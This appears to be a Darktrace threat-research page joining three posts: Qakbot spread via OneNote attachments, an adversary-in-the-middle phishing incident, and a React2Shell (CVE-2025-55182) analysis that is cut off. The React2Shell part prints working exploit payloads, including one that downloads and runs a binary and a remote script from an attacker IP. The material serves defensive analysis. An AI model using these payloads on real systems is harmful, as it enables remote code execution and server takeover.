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April 5, 2023

Understanding Qakbot Infections and Attack Paths

Explore the network-based analysis of Qakbot infections with Darktrace. Learn about the various attack paths used by cybercriminals and Darktrace's response.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
Specialist Security Researcher
Written by
Connor Mooney
SOC Analyst
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05
Apr 2023

In an ever-changing threat landscape, security vendors around the world are forced to quickly adapt, react, and respond to known attack vectors and threats. In the face of this, malicious actors are constantly looking for novel ways to gain access to networks. Whether that’s through new exploitations of network vulnerabilities or new delivery methods, attackers and their methods are continually evolving. Although it is valuable for organizations to leverage threat intelligence to keep abreast of known threats to their networks, intelligence alone is not enough to defend against increasingly versatile attackers. Having an autonomous decision maker able to detect and respond to emerging threats, even those employing novel or unknown techniques, is paramount to defend against network compromise.

At the end of January 2023, threat actors began to abuse OneNote attachments to deliver the malware strain, Qakbot, onto users' devices. Widespread adoption of this novel delivery method resulted in a surge in Qakbot infections across Darktrace's customer base between the end of January 2023 and the end of February 2023. Using its Self-Learning AI, Darktrace was able to uncover and respond to these so-called ‘QakNote’ infections as the new trend emerged. Darktrace detected and responded to the threat at multiple stages of the kill chain, preventing damaging and widespread compromise to customer networks.

Qakbot and The Recent Weaponization of OneNote

Qakbot first appeared in 2007 as a banking trojan designed to steal sensitive data such as banking credentials. Since then, Qakbot has evolved into a highly modular, multi-purpose tool, with backdoor, payload delivery, reconnaissance, lateral movement, and data exfiltration capabilities. Although Qakbot's primary delivery method has always been email-based, threat actors have been known to modify their email-based delivery methods of Qakbot in the face of changing circumstances. In the first half of 2022, Microsoft started rolling out versions of Office which block XL4 and VBA macros by default [1]/[2]/[3]. Prior to this change, Qakbot email campaigns typically consisted in the spreading of deceitful emails with Office attachments containing malicious macros. In the face of Microsoft's default blocking of macros, threat actors appeared to cease delivering Qakbot via Office attachments, and shifted to primarily using HTML attachments, through a method known as 'HTML smuggling' [4]/[5]. After the public disclosure [6] of the Follina vulnerability (CVE-2022-30190) in Microsoft Support Diagnostic Tool (MSDT) in May 2022, Qakbot actors were seen capitalizing on the vulnerability to facilitate their email-based delivery of Qakbot payloads [7]/[8]/[9]. 

Given the inclination of Qakbot actors to adapt their email-based delivery methods, it is no surprise that they were quick to capitalize on the novel OneNote-based delivery method which emerged in December 2022. Since December 2022, threat actors have been seen using OneNote attachments to deliver a variety of malware strains, ranging from Formbook [10] to AsynRAT [11] to Emotet [12]. The abuse of OneNote documents to deliver malware is made possible by the fact that OneNote allows for the embedding of executable file types such as HTA files, CMD files, and BAT files. At the end of January 2023, actors started to leverage OneNote attachments to deliver Qakbot [13]/[14]. The adoption of this novel delivery method by Qakbot actors resulted in a surge in Qakbot infections in the wider threat landscape and across the Darktrace customer base.

Observed Activity Chains

Between January 31 and February 24, 2023, Darktrace observed variations of the following pattern of activity across its customer base:

1. User's device contacts OneNote-related endpoint 

2. User's device makes an external GET request with an empty Host header, a target URI whose final segment consists in 5 or 6 digits followed by '.dat', and a User-Agent header referencing either cURL or PowerShell. The GET request is responded to with a DLL file

3. User's device makes SSL connections over ports 443 and 2222 to unusual external endpoints, and makes TCP connections over port 65400 to 23.111.114[.]52

4. User's device makes SSL connections over port 443 to an external host named 'bonsars[.]com' (IP: 194.165.16[.]56) and TCP connections over port 443 to 78.31.67[.]7

5. User’s device makes call to Endpoint Mapper service on internal systems and then connects to the Service Control Manager (SCM) 

6. User's device uploads files with algorithmically generated names and ‘.dll’ or ‘.dll.cfg’ file extensions to SMB shares on internal systems

7. User's device makes Service Control requests to the systems to which it uploaded ‘.dll’ and ‘.dll.cfg’ files 

Further investigation of these chains of activity revealed that they were parts of Qakbot infections initiated via interactions with malicious OneNote attachments. 

Figure 1: Steps of observed QakNote infections.

Delivery Phase

Users' interactions with malicious OneNote attachments, which were evidenced by devices' HTTPS connections to OneNote-related endpoints, such as 'www.onenote[.]com', 'contentsync.onenote[.]com', and 'learningtools.onenote[.]com', resulted in the retrieval of Qakbot DLLs from unusual, external endpoints. In some cases, the user's interaction with the malicious OneNote attachment caused their device to fetch a Qakbot DLL using cURL, whereas, in other cases, it caused their device to download a Qakbot DLL using PowerShell. These different outcomes reflected variations in the contents of the executable files embedded within the weaponized OneNote attachments. In addition to having cURL and PowerShell User-Agent headers, the HTTP requests triggered by interaction with these OneNote attachments had other distinctive features, such as empty host headers and target URIs whose last segment consists in 5 or 6 digits followed by '.dat'. 

Figure 2: Model breach highlighting a user’s device making a HTTP GET request to 198.44.140[.]78 with a PowerShell User-Agent header and the target URI ‘/210/184/187737.dat’.
Figure 3: Model breach highlighting a user’s device making a HTTP GET request to 103.214.71[.]45 with a cURL User-Agent header and the target URI ‘/70802.dat’.
Figure 4: Event Log showing a user’s device making a GET request with a cURL User-Agent header to 185.231.205[.]246 after making an SSL connection to contentsync.onenote[.]com.
Figure 5: Event Log showing a user’s device making a GET request with a cURL User-Agent header to 185.231.205[.]246 after making an SSL connection to www.onenote[.]com.

Command and Control Phase

After fetching Qakbot DLLs, users’ devices were observed making numerous SSL connections over ports 443 and 2222 to highly unusual, external endpoints, as well as large volumes of TCP connections over port 65400 to 23.111.114[.]52. These connections represented Qakbot-infected devices communicating with command and control (C2) infrastructure. Qakbot-infected devices were also seen making intermittent connections to legitimate endpoints, such as 'xfinity[.]com', 'yahoo[.]com', 'verisign[.]com', 'oracle[.]com', and 'broadcom[.]com', likely due to Qakbot making connectivity checks. 

Figure 6: Event Log showing a user’s device contacting Qakbot C2 infrastructure and making connectivity checks to legitimate domains.
Figure 7: Event Log showing a user’s device contacting Qakbot C2 infrastructure and making connectivity checks to legitimate domains.

Cobalt Strike and VNC Phase

After Qakbot-infected devices established communication with C2 servers, they were observed making SSL connections to the external endpoint, bonsars[.]com, and TCP connections to the external endpoint, 78.31.67[.]7. The SSL connections to bonsars[.]com were C2 connections from Cobalt Strike Beacon, and the TCP connections to 78.31.67[.]7 were C2 connections from Qakbot’s Virtual Network Computing (VNC) module [15]/[16]. The occurrence of these connections indicate that actors leveraged Qakbot infections to drop Cobalt Strike Beacon along with a VNC payload onto infected systems. The deployment of Cobalt Strike and VNC likely provided actors with ‘hands-on-keyboard’ access to the Qakbot-infected systems. 

Figure 8: Advanced Search logs showing a user’s device contacting OneNote endpoints, fetching a Qakbot DLL over HTTP, making SSL connections to Qakbot infrastructure and connectivity checks to legitimate domains, and then making SSL connections to the Cobalt Strike endpoint, bonsars[.]com.
Figure 9: Event Log showing a user’s device contacting the Cobalt Strike C2 endpoint, bonsars[.]com, and the VNC C2 endpoint, 78.31.67[.]7, whilst simultaneously contacting the Qakbot C2 endpoint, 47.32.78[.]150.

Lateral Movement Phase

After dropping Cobalt Strike Beacon and a VNC module onto Qakbot-infected systems, actors leveraged their strengthened foothold to connect to the Service Control Manager (SCM) on internal systems in preparation for lateral movement. Before connecting to the SCM, infected systems were seen making calls to the Endpoint Mapper service, likely to identify exposed Microsoft Remote Procedure Call (MSRPC) services on internal systems. The MSRPC service, Service Control Manager (SCM), is known to be abused by Cobalt Strike to create and start services on remote systems. Connections to this service were evidenced by OpenSCManager2  (Opnum: 0x40) and OpenSCManagerW (Opnum: 0xf) calls to the svcctl RPC interface. 

Figure 10: Advanced Search logs showing a user’s device contacting the Endpoint Mapper and Service Control Manager (SCM) services on internal systems. 

After connecting to the SCM on internal systems, infected devices were seen using SMB to distribute files with ‘.dll’ and ‘.dll.cfg’ extensions to SMB shares. These uploads were followed by CreateWowService (Opnum: 0x3c) calls to the svcctl interface, likely intended to execute the uploaded payloads. The naming conventions of the uploaded files indicate that they were Qakbot payloads. 

Figure 11: Advanced Search logs showing a user’s device making Service Control DCE-RPC requests to internal systems after uploading ‘.dll’ and ‘.dll.cfg’ files to them over SMB.

Fortunately, none of the observed QakNote infections escalated further than this. If these infections had escalated, it is likely that they would have resulted in the widespread detonation of additional malicious payloads, such as ransomware.  

Darktrace Coverage of QakNote Activity

Figure 1 shows the steps involved in the QakNote infections observed across Darktrace’s customer base. How far attackers got along this chain was in part determined by the following three factors:

The presence of Darktrace/Email typically stopped QakNote infections from moving past the initial infection stage. The presence of RESPOND/Network significantly slowed down observed activity chains, however, infections left unattended and not mitigated by the security teams were able to progress further along the attack chain. 

Darktrace observed varying properties in the QakNote emails detected across the customer base. OneNote attachments were typically detected as either ‘application/octet-stream’ files or as ‘application/x-tar’ files. In some cases, the weaponized OneNote attachment embedded a malicious file, whereas in other cases, the OneNote file embedded a malicious link (typically a ‘.png’ or ‘.gif’ link) instead. In all cases Darktrace observed, QakNote emails used subject lines starting with ‘RE’ or ‘FW’ to manipulating their recipients into thinking that such emails were part of an existing email chain/thread. In some cases, emails impersonated users known to their recipients by including the names of such users in their header-from personal names. In many cases, QakNote emails appear to have originated from likely hijacked email accounts. These are highly successful methods of social engineering often employed by threat actors to exploit a user’s trust in known contacts or services, convincing them to open malicious emails and making it harder for security tools to detect.

The fact that observed QakNote emails used the fake-reply method, were sent from unknown email accounts, and contained attachments with unusual MIME types, caused such emails to breach the following Darktrace/Email models:

  • Association / Unknown Sender
  • Attachment / Unknown File
  • Attachment / Unsolicited Attachment
  • Attachment / Highly Unusual Mime
  • Attachment / Unsolicited Anomalous Mime
  • Attachment / Unusual Mime for Organisation
  • Unusual / Fake Reply
  • Unusual / Unusual Header TLD
  • Unusual / Fake Reply + Unknown Sender
  • Unusual / Unusual Connection from Unknown
  • Unusual / Off Topic

QakNote emails impersonating known users also breached the following DETECT & RESPOND/Email models:

  • Unusual / Unrelated Personal Name Address
  • Spoof / Basic Known Entity Similarities
  • Spoof / Internal User Similarities
  • Spoof / External User Similarities
  • Spoof / Internal User Similarities + Unrelated Personal Name Address
  • Spoof / External User Similarities + Unrelated Personal Name Address
  • Spoof / Internal User Similarities + Unknown File
  • Spoof / External User Similarities + Fake Reply
  • Spoof / Possible User Spoof from New Address - Enhanced Internal Similarities
  • Spoof / Whale

The actions taken by Darktrace on the observed emails is ultimately determined by Darktrace/Email models are breached. Those emails which did not breach Spoofing models (due to lack of impersonation indicators) received the ‘Convert Attachment’ action. This action converts suspicious attachments into neutralized PDFs, in this case successfully unweaponizing the malicious OneNote attachments. QakNote emails which did breach Spoofing models (due to the presence of impersonation indicators) received the strongest possible action, ‘Hold Message’. This action prevents suspicious emails from reaching the recipients’ mailbox. 

Figure 12: Email log showing a malicious OneNote email (without impersonation indicators) which received a 87% anomaly score, a ‘Move to junk’ action, and a ‘Convert attachment’ actions from Darktrace/Email.
Figure 13: Email log showing a malicious OneNote email (with impersonation indicators) which received an anomaly score of 100% and a ‘Hold message’ action from Darktrace/Email.
Figure 14: Email log showing a malicious OneNote email (with impersonation indicators) which received an anomaly score of 100% and a ‘Hold message’ action from Darktrace/Email.

If threat actors managed to get past the first stage of the QakNote kill chain, likely due to the absence of appropriate email security tools, the execution of the subsequent steps resulted in strong intervention from Darktrace/Network. 

Interactions with malicious OneNote attachments caused their devices to fetch a Qakbot DLL from a remote server via HTTP GET requests with an empty Host header and either a cURL or PowerShell User-Agent header. These unusual HTTP behaviors caused the following Darktrace/Network models to breach:

  • Device / New User Agent
  • Device / New PowerShell User Agent
  • Device / New User Agent and New IP
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / Powershell to Rare External
  • Anomalous File / Numeric File Download
  • Anomalous File / EXE from Rare External Location
  • Anomalous File / New User Agent Followed By Numeric File Download

For customers with RESPOND/Network active, these breaches resulted in the following autonomous actions:

  • Enforce group pattern of life for 30 minutes
  • Enforce group pattern of life for 2 hours
  • Block connections to relevant external endpoints over relevant ports for 2 hours   
  • Block all outgoing traffic for 10 minutes
Figure 15: Event Log showing a user’s device receiving Darktrace RESPOND/Network actions after downloading a Qakbot DLL. 
Figure 16: Event Log showing a user’s device receiving Darktrace RESPOND/Network actions after downloading a Qakbot DLL.

Successful, uninterrupted downloads of Qakbot DLLs resulted in connections to Qakbot C2 servers, and subsequently to Cobalt Strike and VNC C2 connections. These C2 activities resulted in breaches of the following DETECT/Network models:

  • Compromise / Suspicious TLS Beaconing To Rare External
  • Compromise / Large Number of Suspicious Successful Connections
  • Compromise / Large Number of Suspicious Failed Connections
  • Compromise / Sustained SSL or HTTP Increase
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Compromise / Beaconing Activity To External Rare
  • Compromise / Slow Beaconing Activity To External Rare
  • Anomalous Connection / Multiple Connections to New External TCP Port
  • Anomalous Connection / Multiple Failed Connections to Rare Endpoint
  • Device / Initial Breach Chain Compromise

For customers with RESPOND/Network active, these breaches caused RESPOND to autonomously perform the following actions:

  • Block connections to relevant external endpoints over relevant ports for 1 hour
Figure 17: Event Log showing a user’s device receiving RESPOND/Network actions after contacting the Qakbot C2 endpoint,  Cobalt Strike C2 endpoint, bonsars[.]com.

In cases where C2 connections were allowed to continue, actors attempted to move laterally through usage of SMB and Service Control Manager. This lateral movement activity caused the following DETECT/Network models to breach:

  • Device / Possible SMB/NTLM Reconnaissance
  • Anomalous Connection / New or Uncommon Service Control 

For customers with RESPOND/Network enabled, these breaches caused RESPOND to autonomously perform the following actions:

  • Block connections to relevant internal endpoints over port 445 for 1 hour
Figure 18: Event Log shows a user’s device receiving RESPOND/Network actions after contacting the Qakbot C2 endpoint, 5.75.205[.]43, and distributing ‘.dll’ and ‘.dll.cfg’ files internally.

The QakNote infections observed across Darktrace’s customer base involved several steps, each of which elicited alerts and autonomous preventative actions from Darktrace. By autonomously investigating the alerts from DETECT, Darktrace’s Cyber AI Analyst was able to connect the distinct steps of observed QakNote infections into single incidents. It then produced incident logs to present in-depth details of the activity it uncovered, provide full visibility for customer security teams.

Figure 19: AI Analyst incident entry showing the steps of a QakNote infection which AI Analyst connected following its autonomous investigations.

Conclusion

Faced with the emerging threat of QakNote infections, Darktrace demonstrated its ability to autonomously detect and respond to arising threats in a constantly evolving threat landscape. The attack chains which Darktrace observed across its customer base involved the delivery of Qakbot via malicious OneNote attachments, the usage of ports 65400 and 2222 for Qakbot C2 communication, the usage of Cobalt Strike Beacon and VNC for ‘hands-on-keyboard’ activity, and the usage of SMB and Service Control Manager for lateral movement. 

Despite the novelty of the OneNote-based delivery method, Darktrace was able to identify QakNote infections across its customer base at various stages of the kill chain, using its autonomous anomaly-based detection to identify unusual activity or deviations from expected behavior. When active, Darktrace/Email neutralized malicious QakNote attachments sent to employees. In cases where Darktrace/Email was not active, Darktrace/Network detected and slowed down the unusual network activities which inevitably ensued from Qakbot infections. Ultimately, this intervention from Darktrace’s products prevented infections from leading to further harmful activity, such as data exfiltration and the detonation of ransomware.

Darktrace is able to offer customers an unparalleled level of network security by combining both Darktrace/Network and Darktrace/Email, safeguarding both their email and network environments. With its suite of products, including DETECT and RESPOND, Darktrace can autonomously uncover threats to customer networks and instantaneously intervene to prevent suspicious activity leading to damaging compromises. 

Appendices

MITRE ATT&CK Mapping 

Initial Access:

T1566.001 – Phishing: Spearphishing Attachment

Execution:

T1204.001 – User Execution: Malicious Link

T1204.002 – User Execution: Malicious File

T1569.002 – System Services: Service Execution

Lateral Movement:

T1021.002 – Remote Services: SMB/Windows Admin Shares

Command and Control:

T1573.002 – Encrypted Channel : Asymmetric Cryptography

T1571 – Non-Standard Port 

T1105 – Ingress Tool Transfer

T1095 –  Non-Application Layer Protocol

T1219 – Remote Access Software

List of IOCs

IP Addresses and/or Domain Names:

- 103.214.71[.]45 - Qakbot download infrastructure 

- 141.164.35[.]94 - Qakbot download infrastructure 

- 95.179.215[.]225 - Qakbot download infrastructure 

- 128.254.207[.]55 - Qakbot download infrastructure

- 141.164.35[.]94 - Qakbot download infrastructure

- 172.96.137[.]149 - Qakbot download infrastructure

- 185.231.205[.]246 - Qakbot download infrastructure

- 216.128.146[.]67 - Qakbot download infrastructure 

- 45.155.37[.]170 - Qakbot download infrastructure

- 85.239.41[.]55 - Qakbot download infrastructure

- 45.67.35[.]108 - Qakbot download infrastructure

- 77.83.199[.]12 - Qakbot download infrastructure 

- 45.77.63[.]210 - Qakbot download infrastructure 

- 198.44.140[.]78 - Qakbot download infrastructure

- 47.32.78[.]150 - Qakbot C2 infrastructure

- 197.204.13[.]52 - Qakbot C2 infrastructure

- 68.108.122[.]180 - Qakbot C2 infrastructure

- 2.50.48[.]213 - Qakbot C2 infrastructure

- 66.180.227[.]60 - Qakbot C2 infrastructure

- 190.206.75[.]58 - Qakbot C2 infrastructure

- 109.150.179[.]236 - Qakbot C2 infrastructure

- 86.202.48[.]142 - Qakbot C2 infrastructure

- 143.159.167[.]159 - Qakbot C2 infrastructure

- 5.75.205[.]43 - Qakbot C2 infrastructure

- 184.176.35[.]223 - Qakbot C2 infrastructure 

- 208.187.122[.]74 - Qakbot C2 infrastructure

- 23.111.114[.]52 - Qakbot C2 infrastructure 

- 74.12.134[.]53 – Qakbot C2 infrastructure

- bonsars[.]com • 194.165.16[.]56 - Cobalt Strike C2 infrastructure 

- 78.31.67[.]7 - VNC C2 infrastructure

Target URIs of GET Requests for Qakbot DLLs:

- /70802.dat 

- /51881.dat

- /12427.dat

- /70136.dat

- /35768.dat

- /41981.dat

- /30622.dat

- /72286.dat

- /46557.dat

- /33006.dat

- /300332.dat

- /703558.dat

- /760433.dat

- /210/184/187737.dat

- /469/387/553748.dat

- /282/535806.dat

User-Agent Headers of GET Requests for Qakbot DLLs:

- curl/7.83.1

- curl/7.55.1

- Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.2364

- Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.3770

- Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.2364

SHA256 Hashes of Downloaded Qakbot DLLs:  

- 83e9bdce1276d2701ff23b1b3ac7d61afc97937d6392ed6b648b4929dd4b1452

- ca95a5dcd0194e9189b1451fa444f106cbabef3558424d9935262368dba5f2c6 

- fa067ff1116b4c8611eae9ed4d59a19d904a8d3c530b866c680a7efeca83eb3d

- e6853589e42e1ab74548b5445b90a5a21ff0d7f8f4a23730cffe285e2d074d9e

- d864d93b8fd4c5e7fb136224460c7b98f99369fc9418bae57de466d419abeaf6

- c103c24ccb1ff18cd5763a3bb757ea2779a175a045e96acbb8d4c19cc7d84bea

Names of Internally Distributed Qakbot DLLs: 

- rpwpmgycyzghm.dll

- rpwpmgycyzghm.dll.cfg

- guapnluunsub.dll

- guapnluunsub.dll.cfg

- rskgvwfaqxzz.dll

- rskgvwfaqxzz.dll.cfg

- hkfjhcwukhsy.dll

- hkfjhcwukhsy.dll.cfg

- uqailliqbplm.dll

- uqailliqbplm.dll.cfg

- ghmaorgvuzfos.dll

- ghmaorgvuzfos.dll.cfg

Links Found Within Neutralized QakNote Email Attachments:

- hxxps://khatriassociates[.]com/MBt/3.gif

- hxxps://spincotech[.]com/8CoBExd/3.gif

- hxxps://minaato[.]com/tWZVw/3.gif

- hxxps://famille2point0[.]com/oghHO/01.png

- hxxps://sahifatinews[.]com/jZbaw/01.png

- hxxp://87.236.146[.]112/62778.dat

- hxxp://87.236.146[.]112/59076.dat

- hxxp://185.231.205[.]246/73342.dat

References

[1] https://techcommunity.microsoft.com/t5/excel-blog/excel-4-0-xlm-macros-now-restricted-by-default-for-customer/ba-p/3057905

[2] https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805

[3] https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked

[4] https://www.cyfirma.com/outofband/html-smuggling-a-stealthier-approach-to-deliver-malware/

[5] https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/html-smuggling-the-hidden-threat-in-your-inbox/

[6] https://twitter.com/nao_sec/status/1530196847679401984

[7] https://www.fortiguard.com/threat-signal-report/4616/qakbot-delivered-through-cve-2022-30190-follina

[8] https://isc.sans.edu/diary/rss/28728

[9] https://darktrace.com/blog/qakbot-resurgence-evolving-along-with-the-emerging-threat-landscape

[10] https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/trojanized-onenote-document-leads-to-formbook-malware/

[11] https://www.proofpoint.com/uk/blog/threat-insight/onenote-documents-increasingly-used-to-deliver-malware

[12] https://www.malwarebytes.com/blog/threat-intelligence/2023/03/emotet-onenote

[13] https://blog.cyble.com/2023/02/01/qakbots-evolution-continues-with-new-strategies/

[14] https://news.sophos.com/en-us/2023/02/06/qakbot-onenote-attacks/

[15] https://isc.sans.edu/diary/rss/29210

[16] https://unit42.paloaltonetworks.com/feb-wireshark-quiz-answers/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
Specialist Security Researcher
Written by
Connor Mooney
SOC Analyst

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December 15, 2025

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace

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What is an Adversary-in-the-middle (AiTM) attack?

Adversary-in-the-Middle (AiTM) attacks are a sophisticated technique often paired with phishing campaigns to steal user credentials. Unlike traditional phishing, which multi-factor authentication (MFA) increasingly mitigates, AiTM attacks leverage reverse proxy servers to intercept authentication tokens and session cookies. This allows attackers to bypass MFA entirely and hijack active sessions, stealthily maintaining access without repeated logins.

This blog examines a real-world incident detected during a Darktrace customer trial, highlighting how Darktrace / EMAILTM and Darktrace / IDENTITYTM identified the emerging compromise in a customer’s email and software-as-a-service (SaaS) environment, tracked its progression, and could have intervened at critical moments to contain the threat had Darktrace’s Autonomous Response capability been enabled.

What does an AiTM attack look like?

Inbound phishing email

Attacks typically begin with a phishing email, often originating from the compromised account of a known contact like a vendor or business partner. These emails will often contain malicious links or attachments leading to fake login pages designed to spoof legitimate login platforms, like Microsoft 365, designed to harvest user credentials.

Proxy-based credential theft and session hijacking

When a user clicks on a malicious link, they are redirected through an attacker-controlled proxy that impersonates legitimate services.  This proxy forwards login requests to Microsoft, making the login page appear legitimate. After the user successfully completes MFA, the attacker captures credentials and session tokens, enabling full account takeover without the need for reauthentication.

Follow-on attacks

Once inside, attackers will typically establish persistence through the creation of email rules or registering OAuth applications. From there, they often act on their objectives, exfiltrating sensitive data and launching additional business email compromise (BEC) campaigns. These campaigns can include fraudulent payment requests to external contacts or internal phishing designed to compromise more accounts and enable lateral movement across the organization.

Darktrace’s detection of an AiTM attack

At the end of September 2025, Darktrace detected one such example of an AiTM attack on the network of a customer trialling Darktrace / EMAIL and Darktrace / IDENTITY.

In this instance, the first indicator of compromise observed by Darktrace was the creation of a malicious email rule on one of the customer’s Office 365 accounts, suggesting the account had likely already been compromised before Darktrace was deployed for the trial.

Darktrace / IDENTITY observed the account creating a new email rule with a randomly generated name, likely to hide its presence from the legitimate account owner. The rule marked all inbound emails as read and deleted them, while ignoring any existing mail rules on the account. This rule was likely intended to conceal any replies to malicious emails the attacker had sent from the legitimate account owner and to facilitate further phishing attempts.

Darktrace’s detection of the anomalous email rule creation.
Figure 1: Darktrace’s detection of the anomalous email rule creation.

Internal and external phishing

Following the creation of the email rule, Darktrace / EMAIL observed a surge of suspicious activity on the user’s account. The account sent emails with subject lines referencing payment information to over 9,000 different external recipients within just one hour. Darktrace also identified that these emails contained a link to an unusual Google Drive endpoint, embedded in the text “download order and invoice”.

Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Figure 2: Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.
Figure 3: Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.

As Darktrace / EMAIL flagged the message with the ‘Compromise Indicators’ tag (Figure 2), it would have been held automatically if the customer had enabled default Data Loss Prevention (DLP) Action Flows in their email environment, preventing any external phishing attempts.

Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.
Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.

Darktrace analysis revealed that, after clicking the malicious link in the email, recipients would be redirected to a convincing landing page that closely mimicked the customer’s legitimate branding, including authentic imagery and logos, where prompted to download with a PDF named “invoice”.

Figure 5: Download and login prompts presented to recipients after following the malicious email link, shown here in safe view.

After clicking the “Download” button, users would be prompted to enter their company credentials on a page that was likely a credential-harvesting tool, designed to steal corporate login details and enable further compromise of SaaS and email accounts.

Darktrace’s Response

In this case, Darktrace’s Autonomous Response was not fully enabled across the customer’s email or SaaS environments, allowing the compromise to progress,  as observed by Darktrace here.

Despite this, Darktrace / EMAIL’s successful detection of the malicious Google Drive link in the internal phishing emails prompted it to suggest ‘Lock Link’, as a recommended action for the customer’s security team to manually apply. This action would have automatically placed the malicious link behind a warning or screening page blocking users from visiting it.

Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.
Figure 6: Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.

Furthermore, if active in the customer’s SaaS environment, Darktrace would likely have been able to mitigate the threat even earlier, at the point of the first unusual activity: the creation of a new email rule. Mitigative actions would have included forcing the user to log out, terminating any active sessions, and disabling the account.

Conclusion

AiTM attacks represent a significant evolution in credential theft techniques, enabling attackers to bypass MFA and hijack active sessions through reverse proxy infrastructure. In the real-world case we explored, Darktrace’s AI-driven detection identified multiple stages of the attack, from anomalous email rule creation to suspicious internal email activity, demonstrating how Autonomous Response could have contained the threat before escalation.

MFA is a critical security measure, but it is no longer a silver bullet. Attackers are increasingly targeting session tokens rather than passwords, exploiting trusted SaaS environments and internal communications to remain undetected. Behavioral AI provides a vital layer of defense by spotting subtle anomalies that traditional tools often miss

Security teams must move beyond static defenses and embrace adaptive, AI-driven solutions that can detect and respond in real time. Regularly review SaaS configurations, enforce conditional access policies, and deploy technologies that understand “normal” behavior to stop attackers before they succeed.

Credit to David Ison (Cyber Analyst), Bertille Pierron (Solutions Engineer), Ryan Traill (Analyst Content Lead)

Appendices

Models

SaaS / Anomalous New Email Rule

Tactic – Technique – Sub-Technique  

Phishing - T1566

Adversary-in-the-Middle - T1557

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December 16, 2025

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within Hours

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What is React2Shell?

CVE-2025-55182, also known as React2Shell is a vulnerability within React server components that allows for an unauthenticated attacker to gain remote code execution with a single request. The severity of this vulnerability and ease of exploitability has led to threat actors opportunistically exploiting it within a matter of days of its public disclosure.

Darktrace security researchers rapidly deployed a new honeypot using the Cloudypots system, allowing for the monitoring of exploitation of the vulnerability in the wild.

Cloudypots is a system that enables virtual instances of vulnerable applications to be deployed in the cloud and monitored for attack. This approach allows for Darktrace to deploy high-interaction, realistic honeypots, that appear as genuine deployments of vulnerable software to attackers.

This blog will explore one such campaign, nicknamed “Nuts & Bolts” based on the naming used in payloads.

Analysis of the React2Shell exploit

The React2Shell exploit relies on an insecure deserialization vulnerability within React Server Components’ “Flight” protocol. This protocol uses a custom serialization scheme that security researchers discovered could be abused to run arbitrary JavaScript by crafting the serialized data in a specific way. This is possible because the framework did not perform proper type checking, allowing an attacker to reference types that can be abused to craft a chain that resolves to an anonymous function, and then invoke it with the desired JavaScript as a promise chain.

This code execution can then be used to load the ‘child_process’ node module and execute any command on the target server.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day [1]. Within 30 hours of the patch, a publicly available proof of concept emerged that could be used to exploit any vulnerable server. This rapid timeline left many servers remaining unpatched by the time attackers began actively exploiting the vulnerability.

Initial access

The threat actor behind the “Nuts & Bolts” campaign uses a spreader server with IP 95.214.52[.]170 to infect victims. The IP appears to be located in Poland and is associated with a hosting provided known as MEVSPACE. The spreader is highly aggressive, launching exploitation attempts, roughly every hour.

When scanning, the spreader primarily targets port 3000, which is the default port for a NEXT.js server in a default or development configuration. It is possible the attacker is avoiding port 80 and 443, as these are more likely to have reverse proxies or WAFs in front of the server, which could disrupt exploitation attempts.

When the spreader finds a new host with port 3000 open, it begins by testing if it is vulnerable to React2Shell by sending a crafted request to run the ‘whoami’ command and store the output in an error digest that is returned to the attacker.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

The above snippet is the core part of the crafted request that performs the execution. This allows the attacker to confirm that the server is vulnerable and fetch the user account under which the NEXT.js process is running, which is useful information for determining if a target is worth attacking.

From here, the attacker then sends an additional request to run the actual payload on the victim server.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;(busybox wget -O x86 hxxp://89[.]144.31.18/nuts/x86%7C%7Ccurl -s -o x86 hxxp://89[.]144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||curl -s hxxp://89[.]144.31.18/nuts/bolts)%7Csh)&',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

